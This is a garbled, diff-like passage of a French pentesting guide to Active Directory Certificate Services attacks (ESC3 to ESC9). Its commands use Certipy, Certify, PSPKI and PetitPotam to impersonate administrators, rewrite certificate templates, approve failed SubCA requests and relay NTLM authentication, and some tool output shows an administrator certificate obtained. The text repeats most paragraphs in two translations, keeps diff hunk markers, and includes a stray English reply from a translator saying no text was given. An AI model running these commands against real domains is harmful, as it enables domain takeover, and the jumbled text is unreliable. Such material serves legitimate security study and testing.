certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
Les AC d'entreprise peuvent **restreindre** les **utilisateurs** qui peuvent **obtenir** un **certificat d'agent d'inscription**, les modèles dans lesquels les **agents d'inscription peuvent s'inscrire**, et quels **comptes** l'agent d'inscription peut **représenter** en ouvrant le `certsrc.msc` `snap-in -> clic droit sur l'AC -> cliquer sur Propriétés -> naviguer` jusqu'à l'onglet “Enrollment Agents”.
Les **utilisateurs** autorisés à **obtenir** un **certificat d'agent d'inscription**, les modèles dans lesquels les **agents** d'inscription sont autorisés à s'inscrire, et les **comptes** pour lesquels l'agent d'inscription peut agir peuvent être restreints par les CA d'entreprise. Cela est réalisé en ouvrant le `certsrc.msc` **snap-in**, en **cliquant avec le bouton droit sur le CA**, en **cliquant sur Propriétés**, puis en **naviguant** vers l'onglet "Agents d'inscription".
Cependant, le paramètre **par défaut** de l'AC est “**Ne pas restreindre les agents d'inscription**”. Même lorsque les administrateurs activent “Restreindre les agents d'inscription”, le paramètre par défaut est extrêmement permissif, permettant à tout le monde de s'inscrire dans tous les modèles en tant que n'importe qui.
Cependant, il est noté que le paramètre par défaut pour les CA est "Ne pas restreindre les agents d'inscription". Lorsque la restriction sur les agents d'inscription est activée par les administrateurs, en la définissant sur "Restreindre les agents d'inscription", la configuration par défaut reste extrêmement permissive. Cela permet à **Tout le monde** d'accéder à tous les modèles comme n'importe qui.
## Contrôle d'accès vulnérable au modèle de certificat - ESC4
### **Explication**
Les **modèles de certificats** ont un **descripteur de sécurité** qui spécifie quels **principaux AD** ont des **permissions spécifiques sur le modèle**.
Le **descripteur de sécurité** sur les **modèles de certificat** définit les **autorisations** spécifiques que les **principaux AD** possèdent concernant le modèle.
Si un **attaquant** a suffisamment de **permissions** pour **modifier** un **modèle** et **créer** l'une des **mauvaises configurations exploitables** des **sections précédentes**, il pourra l'exploiter et **escalader les privilèges**.
Si un **attaquant** possède les **autorisations** requises pour **modifier** un **modèle** et **mettre en place** des **erreurs de configuration exploitables** décrites dans les **sections précédentes**, une élévation de privilèges pourrait être facilitée.
Droits intéressants sur les modèles de certificats :
Les autorisations notables applicables aux modèles de certificat incluent :
* **Propriétaire :** Contrôle total implicite de l'objet, peut modifier toutes les propriétés.
* **FullControl :** Contrôle total de l'objet, peut modifier toutes les propriétés.
* **WriteOwner :** Peut modifier le propriétaire pour un principal contrôlé par l'attaquant.
* **WriteDacl :** Peut modifier le contrôle d'accès pour accorder à un attaquant FullControl.
* **WriteProperty :** Peut modifier toutes les propriétés
- **Propriétaire :** Accorde un contrôle implicite sur l'objet, permettant la modification de tous les attributs.
- **Contrôle total :** Permet une autorité complète sur l'objet, y compris la capacité de modifier tous les attributs.
- **Écrire le propriétaire :** Autorise la modification du propriétaire de l'objet à un principal sous le contrôle de l'attaquant.
- **Écrire le DACL :** Permet l'ajustement des contrôles d'accès, accordant potentiellement à un attaquant un Contrôle total.
- **Écrire la propriété :** Autorise la modification de toutes les propriétés de l'objet.
### Abus
Un exemple de privesc comme celui mentionné précédemment :
Un exemple d'une élévation de privilèges comme le précédent :
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
ESC4 est lorsque un utilisateur a des privilèges d'écriture sur un modèle de certificat. Cela peut par exemple être exploité pour réécrire la configuration du modèle de certificat pour rendre le modèle vulnérable à ESC1.
ESC4 est lorsque qu'un utilisateur a des privilèges d'écriture sur un modèle de certificat. Cela peut par exemple être exploité pour écraser la configuration du modèle de certificat afin de le rendre vulnérable à ESC1.
Comme nous pouvons le voir dans le chemin ci-dessus, seul `JOHNPC` a ces privilèges, mais notre utilisateur `JOHN` a le nouvel avantage `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai également implémenté cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hash NT de la victime.
<figure><img src="../../../.gitbook/assets/image (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
**Certipy** peut réécrire la configuration d'un modèle de certificat avec une seule commande. **Par défaut**, Certipy va **réécrire** la configuration pour la rendre **vulnérable à ESC1**. Nous pouvons également spécifier le paramètre **`-save-old` pour sauvegarder l'ancienne configuration**, ce qui sera utile pour **restaurer** la configuration après notre attaque.
Comme nous pouvons le voir dans le chemin ci-dessus, seul `JOHNPC` a ces privilèges, mais notre utilisateur `JOHN` a le nouvel avantage `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai également mis en œuvre cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le hachage NT de la victime.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy** peut écraser la configuration d'un modèle de certificat avec une seule commande. Par **défaut**, Certipy va **écraser** la configuration pour la rendre **vulnérable à ESC1**. Nous pouvons également spécifier le paramètre **`-save-old` pour sauvegarder l'ancienne configuration**, ce qui sera utile pour **restaurer** la configuration après notre attaque.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -165,89 +172,82 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
```
## Contrôle d'accès vulnérable aux objets PKI - ESC5
## Contrôle d'accès aux objets PKI vulnérables - ESC5
### Explication
La toile de relations ACL interconnectées pouvant affecter la sécurité de l'AD CS est vaste. Plusieurs **objets en dehors des modèles de certificats** et de l'autorité de certification elle-même peuvent avoir un **impact sur la sécurité de l'ensemble du système AD CS**. Ces possibilités incluent (sans s'y limiter) :
Le vaste réseau de relations basées sur les ACL, qui inclut plusieurs objets au-delà des modèles de certificats et de l'autorité de certification, peut impacter la sécurité de l'ensemble du système AD CS. Ces objets, qui peuvent affecter significativement la sécurité, englobent :
* **L'objet ordinateur AD du serveur CA** (c'est-à-dire, compromission via S4U2Self ou S4U2Proxy)
* **Le serveur RPC/DCOM du serveur CA**
* Tout **objet AD descendant ou conteneur dans le conteneur** `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` (par exemple, le conteneur des modèles de certificats, le conteneur des autorités de certification, l'objet NTAuthCertificates, le conteneur des services d'inscription, etc.)
- L'objet ordinateur AD du serveur CA, qui peut être compromis par des mécanismes comme S4U2Self ou S4U2Proxy.
- Le serveur RPC/DCOM du serveur CA.
- Tout objet ou conteneur descendant AD dans le chemin spécifique du conteneur `CN=Services de clés publiques,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ce chemin inclut, mais n'est pas limité à, des conteneurs et objets tels que le conteneur Modèles de certificats, le conteneur Autorités de certification, l'objet NTAuthCertificates et le conteneur Services d'inscription.
Si un attaquant peu privilégié peut **prendre le contrôle de l'un de ces éléments**, l'attaque peut probablement **compromettre le système PKI**.
La sécurité du système PKI peut être compromise si un attaquant à faibles privilèges parvient à prendre le contrôle de l'un de ces composants critiques.
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
### Explication
Il existe un autre problème similaire, décrit dans [**l'article de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage), qui concerne le drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`**. Comme le décrit Microsoft, "**Si** ce drapeau est **activé** sur le CA, **toute demande** (y compris lorsque le sujet est construit à partir d'Active Directory®) peut avoir des **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet**."\
Cela signifie qu'un **attaquant** peut s'inscrire dans **N'IMPORTE QUEL modèle** configuré pour l'**authentification de domaine** qui **autorise également les utilisateurs non privilégiés** à s'inscrire (par exemple, le modèle User par défaut) et **obtenir un certificat** qui nous permet de **nous authentifier** en tant qu'administrateur de domaine (ou **tout autre utilisateur/machine actif**).
Le sujet discuté dans le [**post de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) aborde également les implications du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, telles que décrites par Microsoft. Cette configuration, lorsqu'elle est activée sur une Autorité de Certification (CA), permet l'inclusion de **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet** pour **toute demande**, y compris celles construites à partir de l'Active Directory®. Par conséquent, cette disposition permet à un **intrus** de s'inscrire via **n'importe quel modèle** configuré pour l'**authentification de domaine** - en particulier ceux ouverts à l'inscription d'utilisateurs **non privilégiés**, comme le modèle Utilisateur standard. En conséquence, un certificat peut être sécurisé, permettant à l'intrus de s'authentifier en tant qu'administrateur de domaine ou **toute autre entité active** dans le domaine.
**Note** : les **noms alternatifs** ici sont **inclus** dans une CSR via l'argument `-attrib "SAN:"` pour `certreq.exe` (c'est-à-dire, "Paires Nom Valeur"). C'est **différent** de la méthode pour **abuser des SANs** dans ESC1 car cela **stocke les informations de compte dans un attribut de certificat vs une extension de certificat**.
**Remarque** : L'approche pour ajouter des **noms alternatifs** dans une Demande de Signature de Certificat (CSR), via l'argument `-attrib "SAN:"` dans `certreq.exe` (appelé "Paires Nom-Valeur"), présente un **contraste** par rapport à la stratégie d'exploitation des SAN dans ESC1. Ici, la distinction réside dans la manière dont les informations de compte sont encapsulées - dans un attribut de certificat, plutôt qu'une extension.
### Abus
Les organisations peuvent **vérifier si le paramètre est activé** en utilisant la commande `certutil.exe` suivante :
Pour vérifier si le paramètre est activé, les organisations peuvent utiliser la commande suivante avec `certutil.exe`:
```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```
Sous le capot, cela utilise simplement **remote** **registry**, donc la commande suivante pourrait également fonctionner :
```
Cette opération utilise essentiellement **l'accès au registre à distance**, par conséquent, une approche alternative pourrait être :
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
[**Certify**](https://github.com/GhostPack/Certify) et [**Certipy**](https://github.com/ly4k/Certipy) vérifient également cela et peuvent être utilisés pour abuser de cette mauvaise configuration :
Des outils comme [**Certify**](https://github.com/GhostPack/Certify) et [**Certipy**](https://github.com/ly4k/Certipy) sont capables de détecter cette mauvaise configuration et de l'exploiter :
```bash
# Check for vulns, including this one
# Detect vulnerabilities, including this one
Certify.exe find
# Abuse vuln
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
Ces paramètres peuvent être **définis**, en supposant des droits **administratifs de domaine** (ou équivalents), à partir de n'importe quel système :
Pour modifier ces paramètres, en supposant que l'on possède des droits d'**administrateur de domaine** ou équivalents, la commande suivante peut être exécutée à partir de n'importe quelle station de travail :
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
Si vous trouvez ce paramètre dans votre environnement, vous pouvez **retirer ce drapeau** avec :
Pour désactiver cette configuration dans votre environnement, le drapeau peut être supprimé avec :
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
{% hint style="warning" %}
Après les mises à jour de sécurité de mai 2022, les nouveaux **certificats** auront une **extension de sécurité** qui **intègre** la **propriété `objectSid` du demandeur**. Pour ESC1, cette propriété sera reflétée à partir du SAN spécifié, mais avec **ESC6**, cette propriété reflète l'**`objectSid` du demandeur**, et non à partir du SAN.\
Ainsi, **pour abuser de ESC6**, l'environnement doit être **vulnérable à ESC10** (Mappages de Certificats Faibles), où le **SAN est préféré à la nouvelle extension de sécurité**.
Après les mises à jour de sécurité de mai 2022, les **certificats** nouvellement émis contiendront une **extension de sécurité** qui intègre la **propriété `objectSid` du demandeur**. Pour ESC1, ce SID est dérivé du SAN spécifié. Cependant, pour **ESC6**, le SID reflète l'**`objectSid` du demandeur**, et non le SAN.\
Pour exploiter ESC6, il est essentiel que le système soit vulnérable à ESC10 (Mappings de certificats faibles), qui donne la priorité au **SAN sur la nouvelle extension de sécurité**.
{% endhint %}
## Contrôle d'Accès Vulnérable de l'Autorité de Certification - ESC7
## Contrôle d'accès vulnérable à l'autorité de certification - ESC7
### Attaque 1
#### Explication
Une autorité de certification elle-même a un **ensemble de permissions** qui sécurisent diverses **actions de CA**. Ces permissions peuvent être accédées depuis `certsrv.msc`, en cliquant droit sur une CA, en sélectionnant propriétés, et en passant à l'onglet Sécurité :
<figure><img src="../../../.gitbook/assets/image (73) (2).png" alt=""><figcaption></figcaption></figure>
Cela peut également être énuméré via [**le module PSPKI**](https://www.pkisolutions.com/tools/pspki/) avec `Get-CertificationAuthority | Get-CertificationAuthorityAcl`:
Le contrôle d'accès pour une autorité de certification est maintenu à travers un ensemble d'autorisations qui régissent les actions de la CA. Ces autorisations peuvent être consultées en accédant à `certsrv.msc`, en cliquant avec le bouton droit sur une CA, en sélectionnant Propriétés, puis en naviguant jusqu'à l'onglet Sécurité. De plus, les autorisations peuvent être énumérées en utilisant le module PSPKI avec des commandes telles que :
```bash
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
Cela fournit des informations sur les droits principaux, à savoir **`ManageCA`** et **`ManageCertificates`**, qui correspondent aux rôles d'« administrateur de CA » et de « gestionnaire de certificats » respectivement.
#### Abus
Si vous avez un principal avec les droits **`ManageCA`** sur une **autorité de certification**, nous pouvons utiliser **PSPKI** pour changer à distance le bit **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour **permettre la spécification SAN** dans n'importe quel modèle ([ECS6](domain-escalation.md#editf_attributesubjectaltname2-esc6)) :
Avoir des droits **`ManageCA`** sur une autorité de certification permet au principal de manipuler les paramètres à distance en utilisant PSPKI. Cela inclut le basculement du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour permettre la spécification SAN dans n'importe quel modèle, un aspect critique de l'escalade de domaine.
<figure><img src="../../../.gitbook/assets/image (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
La simplification de ce processus est réalisable grâce à l'utilisation de la cmdlet **Enable-PolicyModuleFlag** de PSPKI, permettant des modifications sans interaction GUI directe.
<figure><img src="../../../.gitbook/assets/image (70) (2).png" alt=""><figcaption></figcaption></figure>
La possession des droits **`ManageCertificates`** facilite l'approbation des demandes en attente, contournant ainsi efficacement la sauvegarde "approbation du gestionnaire de certificat de CA".
Cela est également possible sous une forme plus simple avec l'applet de commande [**PSPKI’s Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx).
Les droits **`ManageCertificates`** permettent d'**approuver une demande en attente**, contournant ainsi la protection "approbation du gestionnaire de certificats CA".
Vous pouvez utiliser une **combinaison** des modules **Certify** et **PSPKI** pour demander un certificat, l'approuver et le télécharger :
Une combinaison des modules **Certify** et **PSPKI** peut être utilisée pour demander, approuver et télécharger un certificat :
```powershell
# Request a certificate that will require an approval
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response : The certificate is still pending.
[*] Request ID : 336
@ -255,32 +255,32 @@ Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeede
# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
# Download the certificate
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
```
### Attaque 2
#### Explication
{% hint style="warning" %}
Dans **l'attaque précédente**, les permissions **`Manage CA`** étaient utilisées pour **activer** le drapeau **EDITF\_ATTRIBUTESUBJECTALTNAME2** afin de réaliser l'**attaque ESC6**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'est pas redémarré. Lorsqu'un utilisateur possède le droit d'accès `Manage CA`, il est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, l'**ESC6 pourrait ne pas fonctionner immédiatement** dans la plupart des environnements mis à jour en raison des mises à jour de sécurité de mai 2022.
Dans l'**attaque précédente**, les autorisations **`Gérer CA`** ont été utilisées pour **activer** le drapeau **EDITF\_ATTRIBUTESUBJECTALTNAME2** afin d'effectuer l'attaque **ESC6**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'est pas redémarré. Lorsqu'un utilisateur a le droit d'accès `Gérer CA`, l'utilisateur est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, **ESC6** pourrait ne pas fonctionner immédiatement dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022.
{% endhint %}
Par conséquent, une autre attaque est présentée ici.
Prérequis :
* Permission **`ManageCA`** uniquement
* Permission **`Manage Certificates`** (peut être accordée depuis **`ManageCA`**)
* Le modèle de certificat **`SubCA`** doit être **activé** (peut être activé depuis **`ManageCA`**)
* Seulement la permission **`GérerCA`**
* Permission **`Gérer Certificats`** (peut être accordée à partir de **`GérerCA`**)
* Le modèle de certificat **`SubCA`** doit être **activé** (peut être activé à partir de **`GérerCA`**)
La technique repose sur le fait que les utilisateurs avec les droits d'accès `Manage CA` _et_ `Manage Certificates` peuvent **émettre des demandes de certificats échouées**. Le modèle de certificat **`SubCA`** est **vulnérable à l'ESC1**, mais **seuls les administrateurs** peuvent s'inscrire au modèle. Ainsi, un **utilisateur** peut **demander** à s'inscrire au **`SubCA`** - qui sera **refusé** - mais **ensuite émis par le gestionnaire par la suite**.
La technique repose sur le fait que les utilisateurs ayant le droit d'accès `Gérer CA` _et_ `Gérer Certificats` peuvent **émettre des demandes de certificat en échec**. Le modèle de certificat **`SubCA`** est **vulnérable à ESC1**, mais **seuls les administrateurs** peuvent s'inscrire dans le modèle. Ainsi, un **utilisateur** peut **demander** à s'inscrire dans le **`SubCA`** - ce qui sera **refusé** - mais **ensuite émis par le gestionnaire par la suite**.
#### Abus
Vous pouvez vous **octroyer le droit d'accès `Manage Certificates`** en ajoutant votre utilisateur comme un nouvel officier.
Vous pouvez **vous accorder vous-même la permission `Gérer Certificats`** en ajoutant votre utilisateur en tant que nouvel officier.
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -313,14 +313,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
Avec nos **`Manage CA` et `Manage Certificates`**, nous pouvons ensuite **émettre la demande de certificat échouée** avec la commande `ca` et le paramètre `-issue-request <request ID>`.
Avec notre **`Gérer CA` et `Gérer Certificats`**, nous pouvons ensuite **émettre la demande de certificat échouée** avec la commande `ca` et le paramètre `-issue-request <ID de demande>`.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
Et finalement, nous pouvons **récupérer le certificat émis** avec la commande `req` et le paramètre `-retrieve <request ID>`.
Et enfin, nous pouvons **récupérer le certificat émis** avec la commande `req` et le paramètre `-retrieve <ID de la demande>`.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -332,28 +332,28 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
## NTLM Relay vers les points de terminaison HTTP de AD CS – ESC8
## NTLM Relay vers les points de terminaison HTTP AD CS - ESC8
### Explication
{% hint style="info" %}
En résumé, si un environnement a **AD CS installé**, avec un **point de terminaison d'inscription web vulnérable** et au moins un **modèle de certificat publié** qui permet **l'inscription d'ordinateur de domaine et l'authentification client** (comme le modèle par défaut **`Machine`**), alors un **attaquant peut compromettre N'IMPORTE QUEL ordinateur avec le service spouleur en cours d'exécution**!
Dans les environnements où **AD CS est installé**, si un **point de terminaison d'inscription web vulnérable** existe et qu'au moins un **modèle de certificat est publié** qui permet l'**inscription des ordinateurs de domaine et l'authentification des clients** (comme le modèle par défaut **`Machine`**), il devient possible pour **n'importe quel ordinateur avec le service spouleur actif d'être compromis par un attaquant**!
{% endhint %}
AD CS prend en charge plusieurs **méthodes d'inscription basées sur HTTP** via des rôles de serveur AD CS supplémentaires que les administrateurs peuvent installer. Ces interfaces d'inscription de certificats basées sur HTTP sont toutes **vulnérables aux attaques de relais NTLM**. En utilisant le relais NTLM, un attaquant sur une **machine compromise peut se faire passer pour n'importe quel compte AD authentifiant NTLM entrant**. En se faisant passer pour le compte victime, un attaquant pourrait accéder à ces interfaces web et **demander un certificat d'authentification client basé sur les modèles de certificat `User` ou `Machine`**.
Plusieurs **méthodes d'inscription basées sur HTTP** sont prises en charge par AD CS, rendues disponibles via des rôles serveur supplémentaires que les administrateurs peuvent installer. Ces interfaces pour l'inscription de certificats basée sur HTTP sont susceptibles aux **attaques de relais NTLM**. Un attaquant, à partir d'une **machine compromise, peut se faire passer pour n'importe quel compte AD qui s'authentifie via NTLM entrant**. En se faisant passer pour le compte de la victime, ces interfaces web peuvent être accessibles par un attaquant pour **demander un certificat d'authentification client en utilisant les modèles de certificat `User` ou `Machine`**.
* L'**interface d'inscription web** (une application ASP de l'ancienne génération accessible à `http://<caserver>/certsrv/`), par défaut, ne prend en charge que HTTP, qui ne peut pas se protéger contre les attaques de relais NTLM. De plus, elle permet explicitement uniquement l'authentification NTLM via son en-tête HTTP d'autorisation, donc des protocoles plus sécurisés comme Kerberos sont inutilisables.
* Le **Certificate Enrollment Service** (CES), le **Certificate Enrollment Policy** (CEP) Web Service et le **Network Device Enrollment Service** (NDES) prennent en charge l'authentification négociée par défaut via leur en-tête HTTP d'autorisation. L'authentification négociée **supporte** Kerberos et **NTLM** ; par conséquent, un attaquant peut **négocier pour utiliser l'authentification NTLM** pendant les attaques de relais. Ces services web activent au moins HTTPS par défaut, mais malheureusement HTTPS à lui seul ne **protège pas contre les attaques de relais NTLM**. Seulement lorsque HTTPS est couplé avec le binding de canal, les services HTTPS peuvent être protégés des attaques de relais NTLM. Malheureusement, AD CS n'active pas la Protection Étendue pour l'Authentification sur IIS, qui est nécessaire pour activer le binding de canal.
* L'**interface d'inscription web** (une ancienne application ASP disponible à `http://<caserver>/certsrv/`), par défaut en HTTP uniquement, ce qui ne protège pas contre les attaques de relais NTLM. De plus, elle autorise explicitement uniquement l'authentification NTLM via son en-tête HTTP Authorization, rendant des méthodes d'authentification plus sécurisées comme Kerberos inapplicables.
* Le **Service d'inscription de certificats** (CES), le **Service Web de stratégie d'inscription de certificats** (CEP) et le **Service d'inscription des périphériques réseau** (NDES) prennent en charge par défaut l'authentification de négociation via leur en-tête HTTP Authorization. L'authentification de négociation prend en charge à la fois Kerberos et **NTLM**, permettant à un attaquant de **revenir à l'authentification NTLM** lors d'attaques de relais. Bien que ces services web activent HTTPS par défaut, HTTPS seul **ne protège pas contre les attaques de relais NTLM**. La protection contre les attaques de relais NTLM pour les services HTTPS est uniquement possible lorsque HTTPS est combiné avec la liaison de canal. Malheureusement, AD CS n'active pas la Protection étendue pour l'authentification sur IIS, ce qui est nécessaire pour la liaison de canal.
Les **problèmes** communs avec les attaques de relais NTLM sont que les **sessions NTLM sont généralement courtes** et que l'attaquant **ne peut pas** interagir avec les services qui **imposent la signature NTLM**.
Un **problème** courant avec les attaques de relais NTLM est la **courte durée des sessions NTLM** et l'incapacité de l'attaquant à interagir avec des services qui **requièrent la signature NTLM**.
Cependant, abuser d'une attaque de relais NTLM pour obtenir un certificat pour l'utilisateur résout ces limitations, car la session vivra aussi longtemps que le certificat est valide et le certificat peut être utilisé pour utiliser des services **imposant la signature NTLM**. Pour savoir comment utiliser un cert volé, consultez :
Cependant, cette limitation est surmontée en exploitant une attaque de relais NTLM pour acquérir un certificat pour l'utilisateur, car la période de validité du certificat dicte la durée de la session, et le certificat peut être utilisé avec des services qui **exigent la signature NTLM**. Pour des instructions sur l'utilisation d'un certificat volé, consultez :
{% content-ref url="account-persistence.md" %}
[account-persistence.md](account-persistence.md)
{% endcontent-ref %}
Une autre limitation des attaques de relais NTLM est qu'elles **nécessitent qu'un compte victime s'authentifie sur une machine contrôlée par l'attaquant**. Un attaquant pourrait attendre ou essayer de **forcer** cela :
Une autre limitation des attaques de relais NTLM est que **une machine contrôlée par un attaquant doit être authentifiée par un compte victime**. L'attaquant pourrait soit attendre, soit tenter de **forcer** cette authentification :
{% content-ref url="../printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
@ -361,21 +361,23 @@ Une autre limitation des attaques de relais NTLM est qu'elles **nécessitent qu'
### **Abus**
\*\*\*\*[**Certify**](https://github.com/GhostPack/Certify)’s `cas` command can enumerate **enabled HTTP AD CS endpoints**:
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` énumère les **points de terminaison AD CS HTTP activés** :
```
Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
Les AC d'entreprise stockent également **les points de terminaison CES** dans leur objet AD dans la propriété `msPKI-Enrollment-Servers`. **Certutil.exe** et **PSPKI** peuvent analyser et lister ces points de terminaison :
La propriété `msPKI-Enrollment-Servers` est utilisée par les autorités de certification d'entreprise (CAs) pour stocker les points de terminaison du service d'inscription de certificat (CES). Ces points de terminaison peuvent être analysés et répertoriés en utilisant l'outil **Certutil.exe**:
```
certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
Since there is no English text provided in your request, I cannot translate anything into French. If you provide the specific English text from the hacking book that you want to be translated, I will be able to assist you with the translation while maintaining the markdown and HTML syntax.
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
```powershell
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
#### Abus avec Certify
```bash
## In the victim machine
@ -393,11 +395,11 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### Abus avec [Certipy](https://github.com/ly4k/Certipy)
Par défaut, Certipy demandera un certificat basé sur le modèle `Machine` ou `User` selon que le nom du compte relayé se termine par `$`. Il est possible de spécifier un autre modèle avec le paramètre `-template`.
La demande de certificat est effectuée par Certipy par défaut en fonction du modèle `Machine` ou `User`, déterminé par la fin du nom du compte relayé en `$`. La spécification d'un modèle alternatif peut être réalisée en utilisant le paramètre `-template`.
Nous pouvons ensuite utiliser une technique telle que [PetitPotam](https://github.com/ly4k/PetitPotam) pour forcer l'authentification. Pour les contrôleurs de domaine, nous devons spécifier `-template DomainController`.
```
$ certipy relay -ca ca.corp.local
Une technique comme [PetitPotam](https://github.com/ly4k/PetitPotam) peut ensuite être utilisée pour forcer l'authentification. Lorsqu'il s'agit de contrôleurs de domaine, la spécification de `-template DomainController` est requise.
```bash
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
@ -408,158 +410,129 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
## Pas d'extension de sécurité - ESC9 <a href="#5485" id="5485"></a>
## Aucune extension de sécurité - ESC9 <a href="#5485" id="5485"></a>
### Explication
ESC9 fait référence à la nouvelle valeur **`msPKI-Enrollment-Flag`** **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`). Si ce drapeau est défini sur un modèle de certificat, la **nouvelle extension de sécurité `szOID_NTDS_CA_SECURITY_EXT`** ne sera **pas** intégrée. ESC9 est seulement utile lorsque `StrongCertificateBindingEnforcement` est réglé sur `1` (par défaut), puisqu'une configuration de mappage de certificat plus faible pour Kerberos ou Schannel peut être exploitée comme ESC10 — sans ESC9 — car les exigences seront les mêmes.
La nouvelle valeur **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) pour **`msPKI-Enrollment-Flag`**, appelée ESC9, empêche l'intégration de la **nouvelle extension de sécurité `szOID_NTDS_CA_SECURITY_EXT`** dans un certificat. Ce drapeau devient pertinent lorsque `StrongCertificateBindingEnforcement` est défini sur `1` (paramètre par défaut), ce qui contraste avec un paramètre de `2`. Sa pertinence est accrue dans les scénarios où un mappage de certificat plus faible pour Kerberos ou Schannel pourrait être exploité (comme dans ESC10), étant donné que l'absence d'ESC9 ne modifierait pas les exigences.
